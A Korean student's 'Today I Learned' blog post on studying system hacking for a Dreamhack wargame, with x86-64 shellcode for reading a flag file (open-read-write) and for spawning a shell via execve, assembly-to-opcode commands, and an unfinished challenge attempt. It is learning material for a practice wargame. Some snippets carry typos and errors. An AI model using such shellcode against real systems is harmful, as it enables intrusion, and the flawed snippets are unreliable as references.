Today I Learned_SystemHacking

최지웅·2023년 9월 19일
0

Today I Learned

목록 보기
3/238

아침 9시반부터 저녁 6시반까지 학교 체류..넘나 힘들었다. 어제는 겜하느라 잠을 4시간자서 집오자마자 밥먹고 기절했다가 이제야 TIL이라도 작성하러 끄적끄적. 오늘은 Dreamhack.io 시스템해킹 4단계를 공부하고 연습문제를 시도해보았다.

Shellcode는 exploit을 위한 asm코드 조각으로 open-read-write권한을 이용하는 orw코드와, 셸획득을 목표로하는 execve코드가 있다. 추가적으로 셸코드로 플래그 출력 시 쓰레기 값이 나오는 것을 gdb의 x/6gx와 같이 확인해보면 null데이터를 확인할 수 있고, 이러한 방식을 이용해 중요한 값을 유출해내는 과정을 Memory Leak이라고 한다.

  1. orw코드
    push 0x67; //스택은 8바이트씩 넣을수있기에 나눠서
    mov rax, 0x616c662f706d742f; //파일경로: 0x616c662f706d742f67(/tmp/flag)
    push rax; //경로입력
    mov rdi, rsp; //문자열 경로 인자세팅
    xor rsi; //0: RD_ONLY, 1: RWONLY< 2: RDWR
    xor rdx, rdx; //의미x
    mov eax, 2; //open의 syscall값
    syscall

mov rdi, rax; //open으로 반환된 파일의 file descriptor인자세팅
mov rsi, rsp; //저장할 장소
sub rsi, 0x30; //읽을만큼 rsi를 줄여 stack조작
mov rdx, 0x30; //읽을 길이
mov rax, 0x0; //read의 syscall값
syscall

mov rdi, 1; //출력할 fd stdout으로 설정
mov rax, 0x1; //write의 syscall값
syscall

  1. execve코드
    mov rax, 0x68732f6e69622f
    push rax
    mov rdi, rsp; //경로만 입력
    xor rsi rsi
    xor rdx, rdx
    mov rax, 0x3b; //execve의 syscall값
    syscall

  2. shellcode를 opcode(byte code)로 바꾸는 방법
    3-1. shellcode.o
    $ sudo apt-get install nasm
    $ nasm -f -elf shellcode.asm
    $ objdump -d shellcode.o

    3-2. shellcode.bin
    $ objcopu --dump-section .text=shellcode.bin shellcode.o
    $ xxd shellcode.bin

  3. SystemHacking트랙 stage4 문제 https://dreamhack.io/wargame/challenges/410
    위의 정보와 gdb를 이용해 작성한 c코드
    asm(
    .global run_sh\n
    run_sh:\n

    mov rax, 0x0a6f6c6c6568; //
    push rax
    mov rdi, rsp; //경로
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall; //open("경로", RD_ONLY,NULL);

    mov rdi, rax
    mov rsi, rsp
    sub rsi, 0x30
    mov rdx, 0x30
    mov rax, 0x0
    syscall; //read(fd, buf, 0x30)

    mov rdi, 1
    mov rax, 0x1
    syscall; //write(fd, buf, 0x30)_stdout에 출력
    );
    void run_sh();
    int main() { run_sh(); }

우선 코드를 입력해야하는 shell_basic.c에서 코드를 입력하는 부분은
0x5555555553fe <main+117> call read@plt read@plt
어떤 경로를 입력해야하는지를 gdb로 디버깅하며 찾고있는데, segmentation error만 나서 적절한 경로를 더 찾아볼 예정이다.

profile
이제 3학년..

0개의 댓글